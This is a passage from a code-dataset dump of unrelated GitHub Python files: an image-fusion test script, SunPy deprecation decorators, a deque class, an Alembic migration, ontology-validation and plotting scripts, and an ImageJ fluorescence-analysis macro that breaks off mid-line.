inspected_items[-2])","repo_name":"yana-vas/my_python_diaries","sub_path":"advent_of_code/advent_of_code_2022/011_day/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39422711827","text":"from __future__ import print_function\r\nimport os\r\nimport numpy as np\r\nimport torch\r\nfrom PIL import Image\r\nimport time\r\nimport matplotlib.pyplot as plt\r\n\r\nstart = time.time()\r\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\r\n\r\npath = './test_datasetes/'\r\nfiles = os.listdir(path)\r\neps = 1e-8\r\n\r\nae_model_path = './model/ae/net_1000.pth'\r\nfuse_model_path = './model/fuse/f_net_1000.pth'\r\nsave_path = './results/'\r\nif not os.path.exists(save_path):\r\n os.makedirs(save_path)\r\n\r\nnet = torch.load(ae_model_path)\r\nf_net = torch.load(fuse_model_path)\r\n\r\nfor i, f in enumerate(files):\r\n i += 1\r\n print(i, f)\r\n route = f + '/'\r\n\r\n imgA1_path = path + route + '1.bmp'\r\n imgB1_path = path + route + '2.bmp'\r\n\r\n\r\n imgA1 = Image.open(imgA1_path)\r\n imgA1 = imgA1.convert('L')\r\n imgA1 = np.asarray(imgA1)\r\n imgA1 = np.atleast_3d(imgA1).transpose(2, 0, 1).astype(float)\r\n\r\n imgB1 = Image.open(imgB1_path)\r\n imgB1 = imgB1.convert('L')\r\n imgB1 = np.asarray(imgB1)\r\n imgB1 = np.atleast_3d(imgB1).transpose(2, 0, 1).astype(float)\r\n\r\n c, Row, Col = imgA1.shape\r\n imgA1 = imgA1 / float(255)\r\n\r\n c, Row, Col = imgB1.shape\r\n imgB1 = imgB1 / float(255)\r\n\r\n imgA1 = torch.from_numpy(imgA1).float()\r\n imgA1 = imgA1.view(1, 1, Row, Col)\r\n imgB1 = torch.from_numpy(imgB1).float()\r\n imgB1 = imgB1.view(1, 1, Row, Col)\r\n\r\n f_net = f_net.to(device)\r\n img_1, img_2 = imgA1.to(device), imgB1.to(device)\r\n\r\n outc1, outc2, out1, out2 = net(img_1, img_2)\r\n w1_1, w1_2, w1_3, w2_1, w2_2, w2_3, p1, p2 = f_net(outc1, outc2)\r\n out_image = p1*img_1 + p2*img_2\r\n\r\n ##############################################\r\n\r\n out1 = out_image.cpu()\r\n out_img = out1.data[0]\r\n out_img = out_img.squeeze()\r\n out_img = out_img.numpy()\r\n\r\n plt.imsave(save_path + f + '.bmp', out_img, cmap='gray')\r\n\r\n\r\n\r\n","repo_name":"ImZhangyYing/SSN-CAE-IE","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"39192636134","text":"n = int(input())\r\n\r\nfriend = list(map(int, input().split()))\r\n\r\navailable = {}\r\nconnect = {}\r\n\r\nfor i in range(1, n + 1):\r\n if friend[i - 1] == 0:\r\n connect[i] = 1\r\n if i not in friend:\r\n available[i] = 1\r\n\r\nsame = []\r\ndiff = []\r\n\r\nfor i in connect:\r\n if i in available:\r\n same.append(i)\r\n del available[i]\r\n else:\r\n diff.append(i)\r\n\r\nprint(same)\r\nprint(diff)\r\n\r\nif (len(same) != 1):\r\n for i in range(len(same)):\r\n friend[same[i]] = same[i - 1]\r\n for i in available:\r\n friend[diff[-1]] = i\r\n del diff[-1]\r\nelse:\r\n available[same[i]] = 1\r\n cnt = 0\r\n for i in available:\r\n frient[diff[cnt]] = i\r\n cnt += 1\r\n \r\n\r\nans = \"\"\r\n\r\nfor i in friend:\r\n ans += str(i) + \" \"\r\n\r\nprint(ans)","repo_name":"NeoClear/codeforce","sub_path":"611div3/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"28982692789","text":"\"\"\"\nThis module provides SunPy specific decorators.\n\"\"\"\nimport types\nimport inspect\nimport textwrap\nimport warnings\nimport functools\n\nfrom sunpy.util.exceptions import SunpyDeprecationWarning\n\n__all__ = ['deprecated']\n\n\ndef deprecated(since, message='', name='', alternative=''):\n \"\"\"\n Used to mark a function or class as deprecated.\n\n Parameters\n ------------\n since : `str`\n The release at which this API became deprecated. This is\n required.\n message : `str`, optional\n Override the default deprecation message. The format\n specifier ``func`` may be used for the name of the function,\n and ``alternative`` may be used in the deprecation message\n to insert the name of an alternative to the deprecated\n function. ``obj_type`` may be used to insert a friendly name\n for the type of object being deprecated.\n name : `str`, optional\n The name of the deprecated function or class; if not provided\n the name is automatically determined from the passed in\n function or class, though this is useful in the case of\n renamed functions, where the new function is just assigned to\n the name of the deprecated function. For example::\n\n def new_function():\n ...\n oldFunction = new_function\n\n alternative : `str`, optional\n An alternative function or class name that the user may use in\n place of the deprecated object. The deprecation warning will\n tell the user about this alternative if provided.\n \"\"\"\n since_major, since_minor = since.split('.')[:2]\n since_lts = since_minor == 0\n if since_lts:\n major = int(since_major)\n minor = int(since_minor) + 1\n else:\n major = int(since_major) + 1\n minor = 1\n removal_version = f\"{major}.{minor}\"\n message += f\" This is scheduled for removal in {removal_version}.\"\n \n method_types = (classmethod, staticmethod, types.MethodType)\n\n def deprecate_doc(old_doc, message):\n \"\"\"\n Returns a given docstring with a deprecation message prepended to it.\n \"\"\"\n if not old_doc:\n old_doc = ''\n old_doc = textwrap.dedent(old_doc).strip('\\n')\n new_doc = (('\\n.. deprecated:: {since}'\n '\\n {message}\\n\\n'.format(\n **{'since': since, 'message': message.strip()})) + old_doc)\n if not old_doc:\n # This is to prevent a spurious 'unexpected unindent' warning from\n # docutils when the original docstring was blank.\n new_doc += r'\\ '\n return new_doc\n\n def get_function(func):\n \"\"\"\n Given a function or classmethod (or other function wrapper type), get\n the function object.\n \"\"\"\n if isinstance(func, method_types):\n func = func.__func__\n return func\n\n def deprecate_function(func, message):\n \"\"\"\n Returns a wrapped function that displays an ``SunpyDeprecationWarning``\n when it is called.\n \"\"\"\n\n if isinstance(func, method_types):\n func_wrapper = type(func)\n else:\n def func_wrapper(f): return f # noqa\n\n func = get_function(func)\n\n def deprecated_func(*args, **kwargs):\n\n category = SunpyDeprecationWarning\n\n warnings.warn(message, category)\n\n return func(*args, **kwargs)\n\n # If this is an extension function, we can't call\n # functools.wraps on it, but we normally don't care.\n # This crazy way to get the type of a wrapper descriptor is\n # straight out of the Python 3.3 inspect module docs.\n if type(func) is not type(str.__dict__['__add__']): # noqa\n deprecated_func = functools.wraps(func)(deprecated_func)\n\n deprecated_func.__doc__ = deprecate_doc(\n deprecated_func.__doc__, message)\n\n return func_wrapper(deprecated_func)\n\n def deprecate_class(cls, message):\n \"\"\"\n Returns a wrapper class with the docstrings updated and an ``__init__``\n function that will raise an ``SunpyDeprectationWarning`` warning when\n called.\n \"\"\"\n # Creates a new class with the same name and bases as the\n # original class, but updates the dictionary with a new\n # docstring and a wrapped __init__ method. __module__ needs\n # to be manually copied over, since otherwise it will be set\n # to *this* module (astropy.utils.misc).\n\n # This approach seems to make Sphinx happy (the new class\n # looks enough like the original class), and works with\n # extension classes (which functools.wraps does not, since\n # it tries to modify the original class).\n\n # We need to add a custom pickler or you'll get\n # Can't pickle <class ..>: it's not found as ...\n # errors. Picklability is required for any class that is\n # documented by Sphinx.\n\n members = cls.__dict__.copy()\n\n members.update({\n '__doc__': deprecate_doc(cls.__doc__, message),\n '__init__': deprecate_function(get_function(cls.__init__),\n message),\n })\n\n return type(cls)(cls.__name__, cls.__bases__, members)\n\n def deprecate(obj, message=message, name=name, alternative=alternative):\n if isinstance(obj, type):\n obj_type_name = 'class'\n elif inspect.isfunction(obj):\n obj_type_name = 'function'\n elif inspect.ismethod(obj) or isinstance(obj, method_types):\n obj_type_name = 'method'\n else:\n obj_type_name = 'object'\n\n if not name:\n name = get_function(obj).__name__\n\n altmessage = ''\n if not message or type(message) is type(deprecate):\n message = ('The {func} {obj_type} is deprecated and may '\n 'be removed in a future version.')\n if alternative:\n altmessage = f'\\n Use {alternative} instead.'\n\n message = ((message.format(**{\n 'func': name,\n 'name': name,\n 'alternative': alternative,\n 'obj_type': obj_type_name})) +\n altmessage)\n\n if isinstance(obj, type):\n return deprecate_class(obj, message)\n else:\n return deprecate_function(obj, message)\n\n if type(message) is type(deprecate):\n return deprecate(message)\n\n return deprecate\n\n\nclass add_common_docstring:\n \"\"\"\n A function decorator that will append and/or prepend an addendum to the\n docstring of the target function.\n\n Parameters\n ----------\n append : `str`, optional\n A string to append to the end of the functions docstring.\n\n prepend : `str`, optional\n A string to prepend to the start of the functions docstring.\n\n **kwargs : `dict`, optional\n A dictionary to format append and prepend strings.\n \"\"\"\n\n def __init__(self, append=None, prepend=None, **kwargs):\n if kwargs:\n append = append\n prepend = prepend\n self.append = append\n self.prepend = prepend\n self.kwargs = kwargs\n\n def __call__(self, func):\n func.__doc__ = func.__doc__ if func.__doc__ else ''\n self.append = self.append if self.append else ''\n self.prepend = self.prepend if self.prepend else ''\n if self.append and isinstance(func.__doc__, str):\n func.__doc__ += self.append\n if self.prepend and isinstance(func.__doc__, str):\n func.__doc__ = self.prepend + func.__doc__\n if self.kwargs:\n func.__doc__ = func.__doc__.format(**self.kwargs)\n return func\n","repo_name":"rafaelstojoao/solares","sub_path":"venvSOLAR/lib/python3.7/site-packages/sunpy/util/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":7744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17858407532","text":"import json\nimport requests\nimport csv\nimport plotly.graph_objects as go\n\nurl = 'https://api.bmrb.io/v2/meta/release_statistics'\nr = requests.get(url).json()\nrelease_dict = r['release_information']\nyears = []\ntotal = []\n\nfor year in release_dict:\n release = release_dict[year]['structure_release_in_year'] # Total structural depositions\n if release['total'] != 0:\n years.append(year)\n total.append(release['total'])\n\ncsr_filename = 'CS-Rosetta_Entries.csv'\ncsr_by_year = {}\ncsr_list = [0 for year in years]\nwith open(csr_filename, 'r') as csfile:\n csv_reader = csv.reader(csfile, delimiter=',')\n next(csv_reader)\n for row in csv_reader:\n year = row[-1]\n for i in range(len(years)):\n if years[i] == year:\n year_index = i\n csr_list[year_index] += 1\n\ncsr_sub = [\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9, 621, 571, 676, 1195, 975, 647,\n 1098, 931, 908, 658, 332\n] # taken from https://csrosetta.bmrb.io/ ; the final number will change as 2021 progresses\ncsr_totals = []\n\nfig = go.Figure()\nfig.add_trace(go.Scatter(\n x=years[:-2], y=total[:-2], mode='lines+markers', name='Total Structure Depositions'\n))\nfig.add_trace(go.Scatter(\n x=years[:-2], y=csr_list[:-2], mode='lines+markers', name='CS-Rosetta Depositions'\n))\nfig.add_trace(go.Scatter(\n x=years[:-2], y=csr_sub[:-2], mode='lines+markers', name='CS-Rosetta Runs'\n))\n\nfig.update_layout(\n xaxis_title='Year',\n yaxis_title='Instances in Year',\n font = dict(family='Arial', size=18),\n legend=dict(y=0.95, x=0.05)\n)\n\n#fig.show(renderer=\"firefox\")\nfig.write_image(\"../images/dep_plot.pdf\")\n\n\n\n","repo_name":"bmrb-io/rcs","sub_path":"dep/dep_trends.py","file_name":"dep_trends.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1160297166","text":"# Double-ended queue implementation using an array\n# Elements are waiting in line: first in first out (served)\n# Add (waiting) element at the end: add_last, O(1) amortized\n# Serve (waiting) element at the front: delete_first, O(1) amortized\n# Add (waiting) element at the front: add_first, O(1) amortized\n# Serve (waiting) element at the end: delete_last, O(1) amortized\n\n\nclass Empty(Exception):\n pass\n\nclass ArrayDeque:\n \"\"\"Double-ended queue implementation using a Python list as underlying storage.\"\"\"\n DEFAULT_CAPACITY = 10\n\n def __init__(self) -> None:\n \"\"\"Create an empty quque.\"\"\"\n self._data = [None] * self.DEFAULT_CAPACITY\n self._size = 0 # size of queue (number of elements)\n self._front = 0\n\n def __len__(self) -> int:\n \"\"\"Return the number of elements in the queue.\"\"\"\n return self._size\n \n def is_empty(self) -> bool:\n \"\"\"Return Ture if the queue is empty.\"\"\"\n return self._size == 0\n \n def first(self) -> object:\n \"\"\"Return (but do not remove) the element at the front of the queue.\n \n Raise Empty exception if the queue is empty.\"\"\"\n if self.is_empty():\n raise Empty('Queue is empty')\n return self._data[self._front]\n \n def last(self) -> object:\n \"\"\"Return (but do not remove) the element at the back of the queue.\n \n Raise Empty exception if the queue is empty.\"\"\"\n if self.is_empty():\n raise Empty('Queue is empty')\n back = (self._front + self._size - 1) % len(self._data)\n return self._data[back]\n\n def delete_first(self) -> object:\n \"\"\"Remove and return the first element of the queue.\n \n Raise Empty exception if the queue is empty.\"\"\"\n if self.is_empty():\n raise Empty('Queue is empty')\n answer = self._data[self._front]\n self._data[self._front] = None # garbage collection\n self._front = (self._front + 1) % len(self._data)\n self._size -= 1\n if 0 < self._size < len(self._data) // 4:\n self._resize(len(self._data) // 2)\n return answer\n \n def delete_last(self) -> object:\n \"\"\"Remove and return the last element of the deque.\n Raise Empty exception if the queue is empty.\"\"\"\n if self.is_empty():\n raise Empty('Queue is empty')\n back = (self._front + self._size - 1) % len(self._data)\n answer = self._data[back]\n self._data[back] = None # help garbage collection\n self._size -= 1\n if 0 < self._size < len(self._data) // 4:\n self._resize(len(self._data) // 2)\n return answer\n \n def add_first(self, e: object):\n \"\"\"Add an element to the begining of the deque.\"\"\"\n if self._size == len(self._data):\n self._resize(2 * len(self._data))\n self._front = (self._front - 1) % len(self._data)\n print(\"in add_first, self._front:\", self._front)\n avail = self._front\n self._data[avail] = e\n self._size += 1\n \n\n def add_last(self, e: object):\n \"\"\"Add an element to the back of the queue.\"\"\"\n if self._size == len(self._data): # not enough capacity\n self._resize(2 * len(self._data))\n avail = (self._front + self._size) % len(self._data)\n self._data[avail] = e\n self._size += 1\n\n def _resize(self, cap: int): # we assume cap >= len(self)\n \"\"\"Resize to a new list of capacity.\"\"\"\n old = self._data\n self._data = [None] * cap\n # Start copy old data into the new array\n walk = self._front # self._front may not be index 0 in self._data\n for k in range(self._size):\n self._data[k] = old[walk]\n walk = (walk + 1) % len(old)\n self._front = 0\n\nif __name__ == '__main__':\n # Test __init__()\n q1 = ArrayDeque()\n\n # Test enqueue()\n # There should be a resize\n for i in range(15):\n q1.add_last(i)\n print(\"q1._data:\", q1._data)\n\n # Test dequeue()\n for i in range(10):\n q1.delete_first()\n print(\"q1._data:\", q1._data)\n\n # There should be a resize\n q1.delete_first()\n print(\"q1._data:\", q1._data)\n\n q1.delete_first()\n print(\"q1._data:\", q1._data)\n\n q1.delete_first()\n print(\"q1._data:\", q1._data)\n\n # Test enqueue()\n for i in range(7):\n q1.add_last(i)\n\n print(\"q1._data:\", q1._data)\n q1.add_last(7)\n print(\"q1._data:\", q1._data)\n\n # There should be a resize\n q1.add_last(8)\n print(\"q1._data:\", q1._data)\n print(\"q1._front:\", q1._front)\n print(\"q1.first()\", q1.first())\n\n q1.add_first('a')\n print(\"q1._data:\", q1._data)\n print(\"q1._front:\", q1._front)\n print(\"q1.first()\", q1.first())\n\n q1.add_first('b')\n print(\"q1._data:\", q1._data)\n print(\"q1._front:\", q1._front)\n print(\"q1.first()\", q1.first())\n\n q1.delete_last()\n print(\"q1._data:\", q1._data)\n print(\"q1._size:\", q1._size)\n\n q1.delete_last()\n print(\"q1._data:\", q1._data)\n print(\"q1._size:\", q1._size)\n\n q1.add_first('c')\n print(\"q1._data:\", q1._data)\n print(\"q1._front:\", q1._front)\n print(\"q1.first()\", q1.first())\n\n\n","repo_name":"shenke93/PyDsAlg","sub_path":"DsAlg/array_deque.py","file_name":"array_deque.py","file_ext":"py","file_size_in_byte":5205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33473053218","text":"# onto_validation\n# Created by JKChang\n# 2019-03-18, 09:45\n# Tag:\n# Description: validation of ontology terms (factors)\n\n'''\nSteps:\n1. get list of public/ In_review studyIDs\\\n2. extract factor, mapped term, mapped iri from the investigation file\n\n3. validation terms:\n 3.1 compare term with mapped term, if equals record as done\n 3.2 else mapping term with OLS exact match, got mapped term and iri, marked as correction\n 3.3 else doing fuzzy matches with OLS search, marked as suggestion\n 3.4 else rest of terms need to further discussion\n\n'''\n\n# =============================================================================\n# STE 1 -2\n# =============================================================================\n\n# from Work.extractor.fileReader import investigation_reader\n# from Work.extractor.studyList import getStudyIDs\n#\n# import pandas as pd\n#\n# studyIDs = getStudyIDs(publicStudy=True)\n#\n#\n# count = 0\n# res =[]\n# for studyID in studyIDs:\n# print(studyID)\n# pair = investigation_reader(studyID,prefix=['Study Factor Name','Study Factor Type','Study Factor Type Term Accession Number'])\n# res += pair\n#\n#\n# df = pd.DataFrame(res)\n# df = df[['StudyID','Study Factor Name','Study Factor Type','Study Factor Type Term Accession Number']]\n# df.to_csv('factors.tsv', sep='\\t', index=False)\n\n# =============================================================================\n# STEP 2\n# =============================================================================\n\n# 1. Data cleaning\n\nimport pandas as pd\n#\ndf = pd.read_csv('factors.tsv', sep='\\t')\ndf = df.dropna(subset=['Study Factor Name'])\ndf = df.reset_index(drop=True)\n# res = df[df[['Study Factor Type','Study Factor Type Term Accession Number']].isnull().any(axis=1)]\n\n# 2. check if exact correct\ndef OLS_validation(iri):\n from urllib.parse import quote_plus\n from owlready2 import urllib\n import json\n\n try:\n print(iri)\n ir = quote_plus(quote_plus(iri))\n url = 'http://www.ebi.ac.uk/ols/api/terms/findByIdAndIsDefiningOntology/' + ir\n fp = urllib.request.urlopen(url)\n content = fp.read().decode('utf-8')\n j_content = json.loads(content)\n\n label = j_content['_embedded']['terms'][0]['label']\n return label\n\n\n except:\n return ''\n\ndf['IRI_label'] = df['Study Factor Type Term Accession Number'].apply(OLS_validation)\n\n# 3. Check\n\n# df = pd.read_csv('label.tsv',sep='\\t')\ncorrect = df[(df['Study Factor Name'].str.lower() == df['IRI_label'].str.lower()) & (df['IRI_label'].str.lower() == df['Study Factor Type'].str.lower())]\n# cor_index = correct.index\nincorrect = df.drop(index=correct.index)\ncorrect.to_csv('correct.tsv', sep='\\t', index=False)\nincorrect.to_csv('incorrect.tsv', sep='\\t', index=False)\n\n\n\n","repo_name":"JKChang2015/Python","sub_path":"Work/ontology/onto_validation.py","file_name":"onto_validation.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73780903437","text":"lista=[]\nvocales={}\ncond=True\nwhile(cond):\n\tcadena=input(\"Ingresa cadena: \")\n\tlista.append(cadena)\n\tcond=int(input(\"Ingresa 1 si quieres agregar y 0 si ya no quieres agregar: \"))\n\nprint(lista)\n\nfor cadena in lista:\n\tvocales[cadena]=0\n\tfor letra in cadena:\n\t\tif letra in [\"a\",\"e\",\"i\",\"o\",\"u\"]:\n\t\t\tvocales[cadena]+=1\n\nprint(vocales)","repo_name":"diego-go/taller_python_PROTECO","sub_path":"1er semana/vocales.py","file_name":"vocales.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32281765196","text":"\"\"\"empty message\n\nRevision ID: cabadc015bfd\nRevises: \nCreate Date: 2021-12-07 23:17:34.261515\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'cabadc015bfd'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('authors',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=120), nullable=False),\n sa.Column('birth_date', sa.DateTime(), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n op.create_table('genres',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=120), nullable=False),\n sa.Column('description', sa.String(length=1200), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n op.create_table('books',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=120), nullable=False),\n sa.Column('author_id', sa.Integer(), nullable=True),\n sa.Column('genre_id', sa.Integer(), nullable=True),\n sa.Column('publish_date', sa.DateTime(), nullable=True),\n sa.Column('description', sa.String(length=1200), nullable=True),\n sa.Column('price', sa.Float(), nullable=False),\n sa.Column('rating', sa.Float(), nullable=True),\n sa.ForeignKeyConstraint(['author_id'], ['authors.id'], ),\n sa.ForeignKeyConstraint(['genre_id'], ['genres.id'], ),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('name')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('books')\n op.drop_table('genres')\n op.drop_table('authors')\n # ### end Alembic commands ###\n","repo_name":"NataliiaNV/BookStore","sub_path":"migrations/versions/cabadc015bfd_.py","file_name":"cabadc015bfd_.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18194447706","text":"# Import required packages\r\n\r\nimport os, sys, csv, math, datetime\r\nfrom ij import IJ, ImagePlus, ImageStack, WindowManager\r\nfrom ij.io import DirectoryChooser\r\nfrom ij.io import FileSaver\nfrom ij.measure import ResultsTable\r\nfrom ij.measure import Measurements\r\nfrom ij.process import ImageProcessor\r\nfrom ij.process import ImageConverter\r\nfrom ij.gui import WaitForUserDialog\r\nfrom ij.gui import GenericDialog\r\nfrom ij.plugin.frame import RoiManager\r\nfrom ij.plugin.filter import ParticleAnalyzer\r\nfrom ij.plugin.filter import Analyzer\r\nfrom ij.plugin import ChannelSplitter\r\nfrom ij.plugin import Duplicator\r\nfrom ij.plugin import ImageCalculator\r\nfrom ij.plugin import RGBStackMerge\nfrom java.awt import Color\r\n\r\nimport time\r\n\r\n# Set Threshold mode\r\n\r\nthresholdMode = False\r\n\r\ncolors2= [\"Red\" ,\"Green\" ,\"Blue\"]\r\n\r\nthresholds = {}\r\n\r\ngd = GenericDialog(\"Set Threshold Mode\")\r\ngd.addChoice(\"Would you like to enable thresholding mode?\", [\"No, run the normal macro\", \"Yes, enable thresholding mode\"], \"No\")\r\ngd.showDialog()\r\n\r\nif gd.getNextChoice() == \"Yes, enable thresholding mode\":\r\n thresholdMode = True\r\n \r\nif thresholdMode == False:\r\n gd = GenericDialog(\"Set Thresholds\")\r\n gd.addStringField(\"Lower bound for Red\", \"90\")\r\n gd.addStringField(\"Lower bound for Green\", \"100\")\r\n gd.addStringField(\"Lower bound for Blue\", \"100\")\r\n gd.showDialog()\r\n thresholds[\"Red\"] = int(gd.getNextString());\r\n thresholds[\"Green\"] = int(gd.getNextString());\r\n thresholds[\"Blue\"] = int(gd.getNextString());\r\n \r\ngd = GenericDialog(\"Other Thresholds.\")\r\ngd.addMessage(\"Adjust after you have determined if new thresholds are needed.\")\r\n \r\n\r\n# Set default thresholds:\r\n#\tminimum_size is the minimum area to be considered an ROI\r\n\r\n\t\r\nminimum_size=[]\r\nmaximum_size=[]\r\n\r\nfor x,color in enumerate(colors2):\r\n\tgd.addStringField(\"Minimum Size of ROI for Channel \"+color,\"30\")\r\n\tgd.addStringField(\"Maximum Size of ROI for Channel \"+color, \"2000\")\r\n\r\ngd.showDialog()\r\n\r\n\r\n\r\nfor x in range(len(colors2)):\r\n\tminimum_size.append(float(gd.getNextString()))\r\n\tmaximum_size.append(float(gd.getNextString()))\r\n\r\n#set pix_width and pix_height to real dimensions per pixel \r\n\r\n\r\n\r\n# Get input and output directories with GUI \r\n\r\ndc = DirectoryChooser(\"Choose an input directory\") \r\ninputDirectory = dc.getDirectory() \r\n\r\ndc = DirectoryChooser(\"Choose an output directory\")\r\noutputDirectory = dc.getDirectory()\r\n\r\noutput_name =outputDirectory+\"output.csv\"\r\nopen(output_name, \"w\").close\r\n\r\n# set the output column names for the csv sheet\r\n\r\nsubfolders = []\r\n# Finds subfolders in input directory\r\n\r\nfor subfolder in os.listdir(inputDirectory):\r\n if os.path.isdir(inputDirectory + subfolder):\r\n subfolders.append(subfolder)\r\n\r\n# If there are no subfolders, runs on images in input directory instead\r\n\r\nif len(subfolders) == 0:\r\n subfolders = [\"\"]\r\nfor subfolder in subfolders:\r\n\r\n #Opens each image\r\n\r\n for filename in os.listdir(inputDirectory + subfolder): \r\n imp = IJ.openImage(inputDirectory + subfolder + '/' + filename)\t\r\n\r\n if imp:\r\n #IJ.run(imp, \"Properties...\", \"channels=1 slices=1 frames=1 unit=um pixel_width=0.87\" \"pixel_height=0.87\" \"voxel_depth=25400.0508001\")\t\t\t\r\n\r\n\r\n # Splits channels\r\n\r\n \r\n #Summary contains the information for a row for the current image\r\n\r\n summary = {}\r\n summary['Directory'] = inputDirectory + subfolder\r\n summary['Subfolder']= subfolder\n summary['Filename'] = filename\r\n summary[\"Big-area\"] = imp.getProcessor().getStatistics().area\n color = [\"Red\" ,\"Green\" ,\"Blue\"]\r\n summary[\"Red-Green-Coloc-%\"]=\"NA\"\r\n summary[\"Green-Red-Coloc-%\"]=\"NA\"\r\n\r \r\n\r\n\r\n\r\n\r\r\n\r\n\r\n\r\n\r\n # FINDS THE TISSUE AREA\r\n img2 = imp.duplicate()\r\n channels2=ChannelSplitter.split(img2);\r\n blueimg2=channels2[2];\r\n IJ.run(blueimg2, \"8-bit\", \"\");\r\n IJ.setAutoThreshold(blueimg2, \"Default dark\");\r\n IJ.setThreshold(blueimg2,28, 254);\r\n IJ.run(blueimg2, \"Convert to Mask\", \"\");\r\n blueimg2.show()\r\n time.sleep(1)\r\n rt2 = ResultsTable()\r\n ta=Analyzer(blueimg2,Measurements.AREA|Measurements.LIMIT,rt2)\r\n ta.measure();\r\n double=rt2.getColumnAsDoubles(rt2.getColumnIndex(\"Area\"))\r\n summary[\"Tissue-area\"] =double[0];\r\n blueimg2.changes = False\r\n blueimg2.close()\r\n \t\r\n\r\n# PARTICLE ANALYSIS ETC..\r\n \r\n channels = ChannelSplitter.split(imp);\r\n \r\n \r\n \r\n for i, channel in enumerate(channels):\r\n IJ.run(channel, \"8-bit\", \"\");\n IJ.run(channel, \"Subtract Background...\", \"rolling=50 sliding\");\n IJ.setAutoThreshold(channel,\"Default\");\r\n summary[color[i] + \"-intensity\"] = \"NA\"\r\n summary[color[i] + \"-ROI-count\"] = \"NA\"\r\n \r\n \r\n \r\n #gets the mean grey intensity of the channel\r\n \r\n # Measures each channel\r\n \r\n IJ.run(\"Set Measurements...\", \"area mean display redirect=None decimal=1\");\r\n\r\n summary[color[i] + \"-intensity\"] = channel.getStatistics(Measurements.MEAN).mean\r\n \r\n\r\n\r\n \r\n \r\n\r\n \r\n #Sets the thresholds from the dialog box\r\n IJ.setAutoThreshold(channel,\"Default\");\r\n channel.show()\r\n \r\n if thresholdMode == False:\r\n IJ.setThreshold(channel, thresholds[color[i]], 255)\r\n summary[color[i] + \"-threshold-used\"] = ImageProcessor.getMinThreshold(channel.getProcessor())\r\n \r\n # if thresholdMode:\r\n # happy=False\r\n # while(happy==False):\r\n # IJ.run(\"Threshold...\")\r\n # WaitForUserDialog(\"Title\", \"Adjust threshold for \" + color[i]).show()\r\n \r\n # gd = GenericDialog(\"Set Threshold Mode\")\r\n # gd.addChoice(\"Do you want to continue with this threshold?\", [\"No,choose again\", \"Yes, use this threshold.\"],\"No\")\r\n # gd.showDialog()\r\n # if gd.getNextChoice() == \"Yes, use this threshold.\":\r\n # happy = True\r\n\r\n\r\n # #Get the threshold you've used\r\n # summary[color[i] + \"-threshold-used\"] = ImageProcessor.getMinThreshold(channel.getProcessor())\r\n\r\n #Threshold and watershed\r\n\r\n IJ.run(channel, \"Convert to Mask\", \"\")\r\n IJ.run(channel, \"Watershed\", \"\")\r\n IJ.run(\"Set Measurements...\", \"area mean limit display redirect=None decimal=1\");\r\n \r\n table = ResultsTable()\r\n roim = RoiManager(True)\r\n ParticleAnalyzer.setRoiManager(roim)\r\n\r\n #Analyses particles: finds all the objects that match criteria\r\n \r\n pa = ParticleAnalyzer(ParticleAnalyzer.ADD_TO_MANAGER | ParticleAnalyzer.EXCLUDE_EDGE_PARTICLES, Measurements.AREA, table, minimum_size[i], maximum_size[i], 0.1, 1.0)\r\n pa.setHideOutputImage(True)\r\n pa.analyze(channel)\r\n \r\n \r\n if thresholdMode:\r\n happy=False\r\n while(happy==False):\r\n IJ.run(\"Threshold...\")\r\n WaitForUserDialog(\"Title\", \"Adjust threshold for \" + color[i]).show()\r\n summary[color[i] + \"-threshold-used\"] = ImageProcessor.getMinThreshold(channel.getProcessor())\r\n channel.show()\r\n \r\n summary[color[i] + \"-threshold-used\"] = ImageProcessor.getMinThreshold(channel.getProcessor())\r\n \r\n copy=channel.duplicate()\r\n copy.show()\r\n \r\n\r\n IJ.setThreshold(copy, ImageProcessor.getMinThreshold(channel.getProcessor()), ImageProcessor.getMaxThreshold(channel.getProcessor()))\r\n# channel.close()\r\n IJ.run(copy, \"Convert to Mask\", \"\")\r\n IJ.run(copy, \"Watershed\", \"\")\r\n IJ.run(\"Set Measurements...\", \"area mean limit display redirect=None decimal=1\");\r\n \r\n table = ResultsTable()\r\n roim = RoiManager(True)\r\n ParticleAnalyzer.setRoiManager(roim)\r\n\r\n #Analyses particles: finds all the objects that match criteria\r\n \r\n pa = ParticleAnalyzer(ParticleAnalyzer.ADD_TO_MANAGER | 